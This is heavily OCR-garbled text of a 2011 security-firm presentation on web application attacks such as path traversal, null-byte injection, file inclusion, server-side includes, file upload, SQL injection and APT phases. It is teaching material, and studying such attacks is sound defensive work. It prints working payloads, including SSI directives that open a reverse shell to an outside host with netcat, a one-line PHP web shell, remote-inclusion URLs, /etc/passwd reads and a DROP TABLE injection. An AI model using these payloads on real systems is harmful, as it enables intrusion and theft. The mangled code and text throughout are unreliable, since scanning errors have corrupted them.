{Sites/www. muzic-network. com:/shin‘nologin gpulgars:513:501var/www/html'Sites/www free-¢
raul bantillo=515-501 ~~variwww/html/Sites www opencfficedownload3 com:/sbin/nologin huis_am
fwww player-media net/shin'nologin raul1 -5 18-501 -~var/www/hitml/Sites/swww _org-download o
fwwnw.onlinedOwnloadz com:/sbin‘nologin his22:521:50 1 -~varwww/html/Sites/www . time-player.
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4 CoMMON UNIX-LIKE DIRECTORY TRAVERSAL RELY

ON THE ../” STRING.

4 MICROSOFT BASED SYSTEMS INITIALLY RELY ON
THE “..\” STRING, BUT TODAY MOST OF THEM ALSO
UNDERSTAND THE UNIX-LIKE CHARACTERS.

DATA OFTEN HAVE MORE THAN ONE
REPRESENTATION. THEREFORE, HACKERS CAN USE
ALTERNATE ENCODING AND POTENTIALLY BYPASS
SANITIZATION ALGORITHMS. A CLASSICAL EXAMPLE
IS UNICODE, WHERE THE SLASH CHARACTER COULD
BE REPRESENTED BY %2F, %C0O%AF, %EO0%80%AF,
%FO0%80%80%AF OR %F8%80%80%80%AF.
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HTTP ATTACK #7 - NULL BYTE INJECTION

4 THIS TECHNIQUE IS USED T0O BYPASS SANITY
CHECKING BY ADDING THE %00 URL-ENCODED
NULL BYTE CHARACTER TO A USER INPUT.

4 THIS SIMPLE INJECTION CAN ALTER THE
APPLICATION’S LOGIC AND ALLOW ATTACKERS TO
GET UNAUTHORIZED ACCESS TO SENSITIVE FILES.

4 TODAY, MOST WEB APPLICATIONS ARE DEVELOPED

USING HIGHER-LEVEL LANGUAGES SuUucH AS PHP,
ASP, PERL OR JAVA. HOWEVER, THESE WEB
APPLICATIONS USUALLY ALSO REQUIRE HIGH-LEVEL
PROCESSING CODE AT SYSTEM LEVEL, WHIGCH IS
OFTEN ACCOMPLISHED THROUGH C OR C++
FUNCTIONS.
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v IN THE C/C++, A NULL BYTE IS A DELIMITER
CHARACTER WHICH REPRESENTS THE STRING
TERMINATION. IN HIGHER-LEVEL LANGUAGES THE
NULL BYTE HAS NO SPECIAL MEANING.

THIS DIFFERENCE IN NULL BYTES INTERPRETATION
MAY BE EXPLOITED BY HACKERS TO MANIPULATE
THE WEB APPLICATION BEHAVIOUR. HERE 1S AN
EXAMPLE OF PERL VULNERABLE CODE:

$IMG = SENV{QUERY _STRING'};
FIMG =~ s/%([A-FA-FO-91[A-FA-FO-91)/PAack('C",

HEX(% 1))/EG;

FIMGPATH = I/VAR/WWW/IMAGES/I_

OPEN (FILE,'<$IMGPATH");
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4 THE PERL SCRIPT WILL EFFICIENTLY PREVENT BASIC
ARBITRARY FILE NAMES ACCESS... BuT IT WILL
DEFINITELY FAILS WITH A NULL BYTE .

" HTTP!/TARGET/POC.PL?2F =../cu/as/es/o/ETC/PASSWD%
00.JPG

4 OBVIOUSLY, THIS TRICK CAN BE USED ALONG WITH

OTHER ATTACKS, sucH AS LFI AND RFI.

| L http#/localhost/..=C\etc\passwd%00 x |

J#vuln.phpisection=C\etc\passwlus

.:1:daemon:/usr/sbin-'bin/sh binx:2:2-bin /bi
syncbinbin/sync gamesx:5:60-gamesusr
%77 1pvar/spoollpd-'bin/sh mailx-8:8:ma
mcpx:10:10amep:var/spoolmcp-bin'sh £
riwwwi'bin'sh backupx34:34:-backup:va
/bin/sh ire39:3% red-var/nm/ired/bin'sh

nats:‘bin/sh nobodyx:65534:65534nobod:
itpx:101:103/'home/ntp-'binfalse sshdx:1
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HTTP ATTACK #8 - LFI & RFI

4 REMOTE FILE INCLUSION IS A KIND OF SERVER
SIDE INCLUDE ATTACKS WHICH RELIES ON A WEB
APPLICATION VULNERABILITY THAT ALLOWS
ATTACKER T0O INCLUDE AND EXECUTE ARBITRARY
CODE FROM A REMOTE SERVER.

WITH A LoOcCcAL FILE INCLUSION, ATTACKERS CAN
ONLY INCLUDE FILES WHICH ARE HOSTED BY THE
TARGET.

THEY ARE USUALLY DUE TO THE USE OF
UNVALIDATED EXTERNAL VARIABLES, SUCH AS
$ GET, $ POST AND $ COOKIE, WITHIN FILE
SYSTEM FUNCTIONS, SUCH AS INCLUDE ONCE(),

INCLUDE(), REQUIERE() OR REQUIERE_ ONCE().
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4 LULZSEC ATTACKS FROM JuNE 2011 UsebD RFI.
4 A SAMPLE OF PHP cODE VULNERABLE TO RFI I1s:

<?PHP

$SKIN = KUBUNTU'

IF 1ISSET( $ GETI‘USRSKINT ) )

INCLUDE( $SKIN . .PHP );
?>

v HERE WE COULD EASILY ALTER THE ORIGINAL CODE:
" /TARGET.PHP?USRSKIN=HTTP!/FROG.JP/S.LOG
" /TARGET.PHP?USRSKIN=UPLOADEDSHELL

" /TARGET.PHP?USRSKIN=/ETC/PASSWD% 00
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HTTP ATTACK #9 - SERVER SIDE INCLUDES

4 SERVER SIDE INCLUDES ARE SIMPLE DIRECTIVES

THAT ARE PLAGCED IN HTML PAGES IN ORDER TO
PERMIT THE SERVER TO EVALUATE THEM WHILE
WEBPAGES ARE BEING SERVED.

BASICALLY, THEY PERMIT WEB DEVELOPERS TO
DYNAMICALLY ADD GENERATED CONTENT TO
EXISTING HTML PAGES.

A COMMON USAGE FOR SSI 1S TO OUTPUT THE
RESULTS OF A CGlI PROGRAM, SUCH AS CLASSICAL
“HIT COUNTER”:

<1--#INCLUDE VIRTUAL="/EGI-BIN/COUNTER.PL" -->
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4 PROBLEMS BEGINS WHEN YOU USE THIS S5SI
FEATURE THROUGH ANY VARIABLE WHICH COULD
HAVE BEEN UNDER USERS’ CONTROL.

A GOoOoD EXAMPLE 1S A GUESTBOOK. IF AN
ATTACKER FILLS 0OUT ITS FORM AND INCLUDES A
MALICIODUS SS5SI1 WHICH WILL BE APPENDED TO THE
HTML GUESTBOOK BY A [OCGI, THEN THE NEXT
VISITOR WILL TRIGGER THE EXPLOIT:

" <!--#EXEC cMD="CHMOD 777 ~FTP/INCOMING/_

UPSHELL' -->
<1--#eExXEc cMD="~FTP/INCOMING/UPSHELL"-->

m <I--#EXEC cMD="MKNOD BACKPIPE P && NC
FROG.JP 31337 O<BACKPIPE /BIN/SH
1 >BACKPIPE-->
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HTTP ATTACK #10 - COMMAND EXECUTION

ARBITRARY COMMAND EXECUTION VULNERABILITY
ALLOWS AN ATTACKER T0O EXECUTE SYSTEM
COMMANDS ON A VULNERABLE SYSTEM.

IT MAY ALLOW TO DELETE OR MODIFY ARBITRARY
FILES, CREATE USER ACCOUNT, CHANGE SYSTEM
CONFIGURATION, ESTABLISH A CONNECTION TO A
MALICIOUS SERVER OR SIMPLY DEFACE A WEBSITE.

THIS ATTACK ABUSES FUNCTIONS LIKES EXEQG,
PASSTHRU, POPEN, PROC OPEN OR SHELL EXEZC.

MOST USED CHARACGCTERS ARE ¢;77, ¢«|7 AND “&”.
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HTTP ATTACK #11 - ARBITRARY FILE UPLOAD

‘/THIS ATTACK ALLOWS AN ATTACKER TO UPLOAD

MALICIOUS FILES ON A VULNERABLE SYSTEM.

" METADATA, SUCH AS PATH AND FILENAME, ARE
USUALLY PROVIDED BY THE TRANSPORT, SUCH
AS HTTP MULTIPART ENCODING, AND MAY TRICK
THE WEB APPLICATION INTO OVERWRITING
EXISTING FILES.

THE FILE CONTENT ITSELF MAY PERMIT TO CARRY
OUT AGGRESSIVE INSTRUCTIONS, SUCH AS A
WEB-SHELL WHICH ENABLES REMOTE ATTACKERS
TO EXECUTE ARBITRARY SYSTEM GCOMMANDS OR
PRIVILEGE ESCALATION ATTEMPTS.
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4 AN EXAMPLE OF VULNERABLE CODE IS:

<?PHP

$LOCALDIR = ‘IMAGES/’;

BFILE = FLOCALDIR . BASENAME(_

[‘USERFILE’]I[‘'NAME’]);

IF (MOVE_UPLOADED_FILE($ FILESI[USERFILE]

[TMP_NAME]1, $FILE))

{

ECHO "FILE UPLOADED.\N';

}

ELSE ECHO "FILE NOT UPLOADED.\N";
?>
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4 AN ATTACKER CAN FOR EXAMPLE UPLOAD A SMALL
PHP FILE WHICH wWOULD ONLY CONTAIN:

<?PHP

SYSTEM($ GETI[cMmDD);
?>

4 THE ATTACKER wOULD THEN BE ABLE TO EXECUTE
COMMAND ON THE REMOTE HOST WITH A SIMPLE
URL:

HTTP:/TARGET/IMAGES/TINYSHELL.PHP?CMD=LS

g |mknnd backpipe p && nc 192.168.91.138 31337 O<backpipe | /bin/sh 1=backpipe

| Execute Command || Clear || Logout
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4 RESULTS wOULD BE DISPLAYED PART OF THE

HTML ANSWER:

—Phpshell running on: 192.168.91.142

Current Working Directory: /varjwww /fuploads

$ more Jetc/passwd

root:x:0:0:root: /root: /bins/bash
daemon:x:1:1:daemon: fusr/sbin: /bin/sh
bin:x:2:2:bin: /bin: /bin/sh

sys:x:3:3:sys: /dev:/bin/sh
sync:y:4:65534: sync: /bin: /bin/sync
games:x:5:80:games: /usr/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bins/sh
lp:x:7:7: 1p: Svar/spool/lpd: /binssh

mail:x:8:8:mail: /var/mail: /bin/sh

news:x:9:9:news: /var/spool/news: /bin/sh
uucp:x:10:10:uucp: fvarsspool/uucp: /binssh
proxy:x:13:13:proxy: /bin: /binssh
www-data:x:33:33:www-data: /var/www: /binssh
backup:x:34:34:backup: /var/backups: /bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
1rc:¥:39:39:1rcd: /var/runsircd: /binssh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody : x:65534: 65534 nobody : /nonexistent: /bin/sh
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4 MasT WEBSITES NOWwW INCLUDE A KIND OF

PROTECTION BASED ON A CONTENT-TYPE
VERIFICATION.:

<?PHP

IF($_FILESIUSERFILEILITYPE] != "IMAGE/JPG")

{

ECHO «NOT A JPG FILE DUDE!";
EXIT]
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4 WHEN THE ATTACKER WILL TRY TO UPLOAD HIS

PHP SHELL, THE WEB APPLICATION WILL CHECK
THE MIME TYPE AND THE UPLOAD WILL BE
PREVENTED. NICE, ISN’T IT?

WELL, NOT SO SURE... IN FACT THE APPLICATION
WILL ONLY CHECKS THE VALUE OF THE GCONTENT-
TYPE HEADER. AND AS HEADER, WE CAN EASILY
ALTER IT WITH A SIMPLE PROXY!

IF WE PLAY WITH PAROS OR BURP TO CATCH THE
RERUEST AND REPLACE THE <«TEXT/PLAIN» STRING
WITH AN «IMAGE/JPG» ONE, WE WILL BYPASS THE
PROTECTION AND UPLOAD OuUR WEB-SHELL
WITHOUT ANY PROBLEM.
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4 A BETTER DEVELOPMENT APPROACH WOULD THEN

BE TO VALIDATE THE ACTUAL CONTENT OF THE
UPLOADED FILE IN ORDER TO MAKE SURE THAT IT IS
REALLY AN IMAGE. IN PHP, THIS 1S OFTEN
ACHIEVED WITH THE GETIMAGESIZE() FUNCTION,
WHICH GIVES INTERESTING INFO, SUCH AS THE SIZE
AND TYPE OF IMAGE.

BUT ONCE AGAIN, IT wOULD NOT BE A PERFECT
SOLUTION... AS A FILE CAN BE A REAL IMAGE AND
ALSO CONTAIN PHP CODE THROUGH THE TEXT
COMMENT FEATURE. 1T WILL PASS THE
GETIMAGESIZE() CHECK, BUT THE PHP
INTERPRETER MAY STILL SEE EXECUTABLE
INSTRUCTIONS INSIDE.
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HTTP ATTACK #12 - ICS

4 INSECURE CRYPTOGRAPHIC STORAGE OCCURS

WHEN AN APPLICATION DOES NOT SECURELY
ENCRYPT SENSITIVE DATA INTO DATABASES.

FOR EXAMPLE, PASSWORDS, CREDIT CARDS
INFORMATION, HEALTH RECORDS AND PERSONAL
INFORMATION SHOULD BE ENCRYPTED EVERYWHERE,
FROM LIVE DATABASE TO BACKUP.

YOU SHOULD ENSURE THAT YOUR STORED DATA IS
NOT EASY TO DECRYPT. THIS GCAN USUALLY BE
AVERTED BY NOT USING KNOWN WEAK ALGORITHMS
sucH As RC3, RC4 or MDS5.

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH



1| [TT—| " .
HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

4 UNFORTUNATELY, YOU wOULD BE SURPRISED OF

HOW MANY WEBSITES STORE YOUR INFORMATION IS
A WEAK FORM...

password
5060341c21{82c70e928bceed3d45419

5f4dcc3b5aa765d61d8327deb882cf99

8b%f8108ca857510721afelaf794ael 9

Algurlﬂlm Password

SFadccaboas osdordszrdebssaca9 —

8b9f8108ca857510721afelab7942e19 lovesgay
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HTTP ATTACK #13 - SQL INJECTION

4 SGQL INJECTION IS USUALLY A WEB APPLICATION
VULNERABILITY WHICH ALLOWS AN ATTACKER TO
ACCESS ARBITRARY OR UNAUTHORIZED
INFORMATION FROM A DATABASE BY  ALTERING
USER-SUPPLIED VARIABLES USED IN LEGITIMATE
SGQL REQUEST IN A WEB APPLICATION.

WEB APPLICATION MAY BE VULNERABLE TO SQHL
INJECTION DUE TO ABSENCE OR INSUFFICIENT
FILTRATION AND VALIDATION OF USER-SUPPLIED
VARIABLES USED IN SO L QUERY.
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4 DESPITE ITS AGE, THIS KIND OF VULNERABILITIES

IS STILL REALLY WIDESPREAD ON INTERNET:

" IN JuNE 2011, LuLZzsSEC EXPLOITED AN SQOILI
ON SONY’S WEBSITE T0O STEAL COUPONS,
DOWNLOAD KEYS AND PASSWORDS THAT WERE
STORED IN PLAINTEXT ON THEIR DATABASE.

IN AUGUST 2011, HACKERS STEAL USERS
INFORMATION ON NOKIA DEVELOPER SITE.

IN SEPTEMBER, TURKISH HACKERS ACCESSED
NETNAMES DNS RECORDS AND CHANGED
ENTRIES T0O REDIRECT ACCESS T0O FAMOUS
COMPANIES DOMAINS, AMOUNG WHICH THE
TELEGRAPH, THE REGISTER, THE NATIONAL
GEOGRAPHIC, UPS, ACER OR VODAFONE.
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4 A SIMPLE EXAMPLE OF VULNERABLE CODE IS:

RUERY = '"'SELECT * FROM f‘Users’ WHERE

4 AS THE VAR LASTNAME IS NOT SANITIZED, A

MALICIOUS USER CAN USE IT TO STORE CONTENT
WHICH WILL ALTER THE INITIAL QUERY, SUCH AS.

XX3DROP TABLE ‘USERS

4 THE RESULTING QUERY WAS NOT EXPECTED BY WEB
DEVELOPPERS.:

RUERY = 'SELECT * FROM ‘uUsegrs’ WHERE
‘LASTNAME’ = ‘xXX’; DROP TABLE ‘UsSERS’;
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HTTP ATTACK #14 - BLIND SEL INJECTION

4 BLIND SGOL INJECTIONS ARE SIMILAR TO SQOQL
INJECTIONS, WITH THE ONLY DIFFERENCE THAT AN
ATTACKER CANNOT DIRECTLY SEE THE RESULTS 0OF
HIS MALICIOUS SGL QUERIES.

4 THE PAGE WITH THE VULNERABILITY MAY NOT BE
ONE THAT DISPLAYS DATA BUT WILL DISPLAY
DIFFERENTLY DEPENDING ON THE RESULTS 0OF A
LOGICAL STATEMENT INMJECTED INTO THE
LEGITIMATE SGHL STATEMENT CALLED FOR THAT
PAGE.

THIS TYPE OF ATTACK CAN BECOME TIME-INTENSIVE
BECAUSE A NEW STATEMENT MUST BE CRAFTED FOR
EACH BIT RECOVERED.
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4 THEREFORE BLIND SGOIL INJECTIONS ARE A LITTLE
BIT MORE COMPLEX TO EXPLOIT THAN A CLASSICAL

SQL INDJECTION AND REQUIRE MORE NOISY
AUTOMATED ATTEMPTS.

AN EXAMPLE OF BLIND SGLI wouLD BE TO FORCE
THE REMOTE DATABASE TO EVALUATE A LOGICAL
STATEMENT ON AN ORDINARY APPLICATION SCREEN.:

SELECT “TEMS’ FROM ‘sHOP’ WHERE ‘ITEMID’
= ¢729’ AND ¢1’=¢17;

SELECT “TEMS’ FROM ‘sHOP’ WHERE ‘ITEMID’
= ¢729’ AND ¢1’=¢27;
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HTTP ATTACK #15 - BuFFER OVERFLOWS [La

v A BUFFER OVERFLOW OCCURS WHEN A PROGRAM IS
ABLE TO WRITE DATA BEYOND THE BUFFER SPACE
ALLOCATED IN MEMORY.

v THIS CAN RESULT IN OTHER VALID MEMORY BEING
OVERWRITTEN, THUS LEADING TO ARBITRARY CODE
EXECUTION IN THE CONTEXT OF THE RUNNING
ACCOUNT.

v THIS VULNERABILITY WILL NOT BE EXPLAINED HERE,
AS IT WAS DEEPLY EXPLAINED LAST YEAR.:

" “CLIENT-SIDE THREATS: ANATOMY OF REVERSE
TROJAN ATTACKS”.

SLIDES AND VIDEOS ARE AVAILABLE HERE:
HTTP:/WWW.HTBRIDGE.CH/PUBLICATIONS/
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WELL, APT ARE NOT REALLY NEW THREATS...

APT OFTEN IMPLY ORGANIZATIONAL TEAMS WITH
DEEP RESOURCES AND ADVANCED SKILLS WHO
MAKE LONG EFFORTS TO ATTACK SPECIFIC TARGETS.

SO BASICALLY, APT ARE SOPHISTICATED AND
ORGANIZED ATTACKS WHICH CAN RELY ON INTERNAL
AND EXTERNAL THREATS.

HACKERS CAN ALSO STAY HIDDEN A LONG TIME ON
THE SERVER BEFORE TAKING ADVANTAGE 0OF THEIR
COMPROMISE, REMAINING UNDETECTED BY IDS.

QQUICKLY & CONTINUOUSLY ADAPTS TO CHANGING
ENVIRONMENTS. AN EXAMPLE IS THE RECENT ONU

AND CIO coMPROMISE, AS WELL AS THE OTHER 70

INTERNATIONAL ORGANISATIONS.
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PRIMARY TARGETS ARE FILE SERVERS WITH
SENSITIVE DATA.

MOST VICTIMS ARE NOT AWARE THEY ARE
COMPROMISED!

WE CAN NOTICE A REAL AGGRESSIVENESS.
HACKERS WON’T LEAVE YOUR SYSTEM IF YOu

DETECT THEM AND START REACTING... THEY WILL

ADAPT AND KEEP FIGHTING IN ORDER TO STAY ON
YOUR NETWORK!

SO THE MAIN DIFFERENGCES WITH MOST ATTACKS
ARE IN FACT THE PERSEVERANCE AND THE
RESOURCES OF THE ATTACKERS.
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APT ARE PARTICULARLY METHODICAL... OFTEN RQUITE
MORE THAN BASIC AND ISOLATED ATTACKS.

Recognition Erasing traces

)

. Maigaiin

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH



11 [[T——rT ] .
HIGH-TECH BRIODGE

INFORMATIDN SECURITY SOLUTIONS

4 STEP 1: RECOGNITION

v COLLECT AS MUCH INFORMATION AS POSSIBLE
TOWARDS THE TARGETS, AND THUS MAXIMIZE THE
CHANCES OF COMPROMISE. USUALLY, IT’S A QUITE
PASSIVE PHASE.

v EXAMPLES:

BROWSING TARGET WEBSITE & COOKIES

WHOIS/RIPE/ARIN REQUESTS

READING WEB SERVER BANNERS WHICH
DISCLOSE THE UNDERLYING APPLICATIONS AND

THEIR VERSION INFORMATION -

RUERYING DNS SERVERS [hELT
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4 STEP 2: SCANNING / ENUMERATION

4 EXAMINE THE TARGET INFRASTRUCTURE. THE AIM IS
TO IDENTIFY ANY ELEMENT THROUGH WHICH AN
ATTACK COULD LEAD, SucH AS |IP ADDRESSES,
SENSITIVE HOSTNAMES, USER NAMES, as
IDENTIFICATION OR VULNERABILITY DETECTION.

v EXAMPLES:

" SUBDOMAINS ENUMERATION -

" VIRTUAL HOSTS IDENTIFICATION -

" PORT SCANNERS -

" VULNERABILITY SCANNERS -
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v STEP 3: ATTACK

4 HERE, TO REMOTELY EXPLOIT A VULNERABILITY IN

ORDER TO COMPROMISE THE TARGET
INFRASTRUCTURE, SHOULD IT BE ITS OPERATING
SYSTEM, ITS APPLICATION LAYER OR A SINGLE
NETWORK COMPONENTS.

v  EXAMPLES:
" BUFFER OVERFLOW -
" SEL INJECTION

" CoOMMAND EXECUTION
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v STEP 4: MAINTAINING ACCESS

v QQUICKLY (AT LEAST BEFORE THE VULNERABILITY IS
FIXED) IMPLEMENT A SCENARIO WHICH PERMIT TO
INTERACT RAPIDLY WITH THE LOCAL
INFRASTRUCTURE AT A LATER DATE WITHOUT TO
COMPROMISE IT AGAIN, AND SECURE ITS EXCLUSIVE
ACCESS.

v EXAMPLES:

" DOWNLOADING BINARIES

" COMPILING SOURCE CODE -

" TROJAN HORSE EXECUTION

" CORRUPTING FILES AND/OR PROGRAMS
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v STEP 5: COVERING TRACKS
v EVADE LEGAL SANCTIONS BY AVOIDING DETECTION.
v EXAMPLES:

DISABLING AUDIT STRATEGIES

ALTERATION OF SYSTEM LOGS -

HIDING DATA USING STEGANOGRAPHY

ROOTKIT DEPLOYMENT -

TUNNELING PROTOCOLS
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v ROUND 2 ! READY? FIGHT!
v STEP 1: RECOGNITION

v HISTORY REPEATS ITSELF...

v EXAMPLE:

" BOUNCE ON THE COMPROMISED TARGET TO
PERPETRATE OTHER EXTERNAL ATTACKS

PivoT ATTACK TO REAGCH THE INTERNAL

NETWORK -
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v FRONTAL ATTACKS ARE NOT DEAD!

v THE MORE YOU HAVE PUBLICLY REACHABLE
SERVICES, THE MORE EXPOSED YOU ARE.

v ACCORDING TO SANS, ATTACKS AGAINST WEB
APPLICATIONS CONSTITUTE MORE THAN 60% OF

THE TOTAL ATTACK ATTEMPTS OBSERVED ON THE
INTERNET.

VICTIMS MAY BE THE WEBSITE OWNERS (E.G.
INTELLECTUAL PROPERTY THEFT OR LOSS OF
CUSTOMER CONFIDENCE), THEIR CLIENTS (E.G. BANK
TRANSFER FRAUD) OR ANY INTERNET USERS.

INDEED, WEB APPLICATION VULNERABILITIES ARE
WIDELY EXPLOITED TO CONVERT TRUSTED WEBSITES
INTO MALICIOUS ONES, SERVING CLIENT-SIDE
EXPLOITS CONTENTS.
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4 WEB APPLICATION VULNERABILITIES SUCH AS SQHL

INJECTION AND CROSS-SITE SCRIPTING FLAWS IN
OPEN-SOURCE AS WELL AS CUSTOM-BUILT
APPLICATIONS ACCOUNT FOR MORE THAN 80% OF
THE VULNERABILITIES BEING DISCOVERED.

DESPITE THE HUGE NUMBER OF ATTACKS AND THE
WIDESPREAD PUBLICITY, MOST WEBSITE OWNERS
FAIL TO SCAN EFFECTIVELY FOR THE COMMON
FLAWS AND BECOME UNWITTING TOOLS USED BY
CRIMINALS T0O INFECT THE VISITORS THAT TRUSTED
THOSE SITES TO PROVIDE A SAFE WEB EXPERIENCE.
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4 UNFORTUNATELY, IT IS NOT SO EASY TO PROTECT
EFFICIENTLY. SUCH A GOAL IS ASYMMETRICAL, AND
THEREFORE DIFFICULT... THE GOOD GUYS NEED TO
THINK ABOUT A HUGE AMOUNT OF THINGS, WHILE

THE BAD BOYS MAY ONLY HAVE TO FIND A SINGLE
FORGOTTEN VULNERABILITY TO COMPROMISE THEM.

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




11 [[T——rT ] .
EXIT (O); HIGH-TECH BRIDGE

INFORMATIDN SECURITY SOLUTIONS

YOUR QUESTIONS ARE ALWAYS WELCOME!

FREDERIC.BOURLA@HTBRIDGE.CH
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